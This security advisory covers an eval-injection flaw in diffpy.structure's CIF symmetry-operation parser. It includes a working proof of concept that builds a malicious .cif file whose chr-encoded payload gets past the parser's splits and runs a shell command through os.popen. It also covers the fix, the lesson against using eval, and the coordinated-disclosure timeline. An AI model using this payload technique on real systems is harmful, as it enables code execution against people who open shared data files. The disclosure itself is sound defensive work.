diffpy.structure: arbitrary code execution when loading a CIF file, via eval() of symmetry operations (CVE-2026-133708)

diffpy.structure parses a CIF file's symmetry-operation strings by evaluating them with Python eval() in get_symop(). A crafted .cif runs arbitrary code when it is loaded. Fixed in 3.5.1; tracked as CVE-2026-133708.

Severity
High
CVE
CVE-2026-133708
CVSS
7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Published
2026
Tags
CVE-2026-133708, CWE-95, eval-injection, rce, coordinated-disclosure, scientific-software, python, crystallography, cif

Overview

A CIF file is how crystallographers exchange a structure: the unit cell, the atoms, and the symmetry operations that generate the rest of the lattice from the asymmetric unit. Those symmetry operations are written as short algebraic strings, x,-y,z+1/2 and the like. diffpy.structure (diffpy/diffpy.structure), part of the DiffPy stack used across materials and condensed-matter work, turns each string into a coordinate transform by evaluating it with Python’s eval(). eval() does not know it is only supposed to see a symmetry operation, so a CIF file whose symmetry-operation field holds a Python payload runs that payload with the privileges of whoever loaded the file. CIF files are downloaded from structure databases, exported by other tools, attached to papers, and passed between collaborators, so opening one is routine and is not supposed to be a security decision. Fixed in diffpy.structure 3.5.1.

Product diffpy.structure (diffpy/diffpy.structure), Python crystallography library
Class CWE-95, Eval Injection
Affected diffpy.structure before 3.5.1 (confirmed on 3.5.0, main at 2a75e1f387)
Fixed 3.5.1
Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Severity High, 7.8
Advisory CVE-2026-133708

Root cause

In src/diffpy/structure/parsers/p_cif.py, get_symop splits a symmetry-operation string and evaluates each translation fragment:

# src/diffpy/structure/parsers/p_cif.py
901: def get_symop(s):
     ...
916:     snoblanks = s.replace(" ", "")
917:     eqlist = snoblanks.split(",")
     ...
921:         eqparts = re.split("(?i)([+-]?[xyz])", eqlist[i])
     ...
924:         for tpart in eqparts[::2]:
925:             t[i] += eval("1.0*%s+0" % tpart)

eval("1.0*%s+0" % tpart) is called with no globals argument, so it runs in the module namespace with Python’s real builtins available; this is eval injection, not a sandbox. tpart derives from the attacker’s symmetry operation: s is read verbatim from the CIF _space_group_symop_operation_xyz (or _symmetry_equiv_pos_as_xyz) loop, reached by _parse_space_group_symop_operation_xyz (p_cif.py:583) calling get_symop (p_cif.py:615). get_symop removes spaces, splits on commas, and re-splits on x, y and z, so a payload that avoids those characters, built from chr so it needs no quotes either, survives all three transforms and still reaches the eval. The attacker controls the entire file; a block is parsed as a structure as soon as it contains _atom_site_label.

Proof of concept

The symmetry-operation fragment is space-free, comma-free, quote-free and contains no x, y or z, so it passes get_symop’s splits. It writes a marker via os.popen, wrapped in len() so the eval still returns a number.

# os.popen("id>/tmp/diffpoc").read(), all chars chr-encoded to avoid quotes and the letters x/y/z
cmd = "+".join("chr(%d)" % b for b in b"id>/tmp/diffpoc")
osmod = "chr(111)+chr(115)"
frag = "len(__import__(%s).popen(%s).read())" % (osmod, cmd)
open('evil.cif', 'w').write(
    "data_poc\n"
    "loop_\n"
    "_atom_site_label\n"
    "_atom_site_fract_x\n"
    "_atom_site_fract_y\n"
    "_atom_site_fract_z\n"
    "Si 0.0 0.0 0.0\n"
    "loop_\n"
    "_space_group_symop_operation_xyz\n"
    + frag + ",y,z\n"
)

Then the victim runs the shipped public reader:

from diffpy.structure.parsers import get_parser
get_parser('cif').parse_file('evil.cif')

/tmp/diffpoc then holds the output of id; the command runs during parsing, inside the eval. The control is the same file with a legitimate symmetry operation such as x,y,z: it evaluates to the identity transform and runs nothing. The crafted fragment is the only difference between the two runs. Confirmed on diffpy.structure 3.5.0 with pycifrw 5.0.1 and numpy 2.5.5, Python 3.13 on Linux.

The fix

diffpy.structure 3.5.1 removes the eval. Update to 3.5.1 or later. A symmetry operation is a tiny, closed grammar (the variables x, y, z, rational coefficients, plus and minus), so it should be parsed with code that understands that grammar and nothing else, or mapped from the handful of legal tokens, rather than evaluated as a Python expression.

The lesson. A field that usually looks like an expression is still attacker-controlled text. Never hand it to eval(); parse the small language you actually expect, and reject everything else.

Disclosure timeline

  • 2026-11-19: Reported to the maintainers under coordinated disclosure, with a working proof of concept.
  • 2026-11: diffpy.structure 3.5.1 released with the fix.
  • 2026-11: CVE-2026-133708 published; this write-up released after the fix.

References

Credit

Reported by Dilanka Kaushal Hewage (r3vpwnx), Senior Red Team Operator and Security Researcher. Thanks to the diffpy.structure maintainers for the fix in 3.5.1.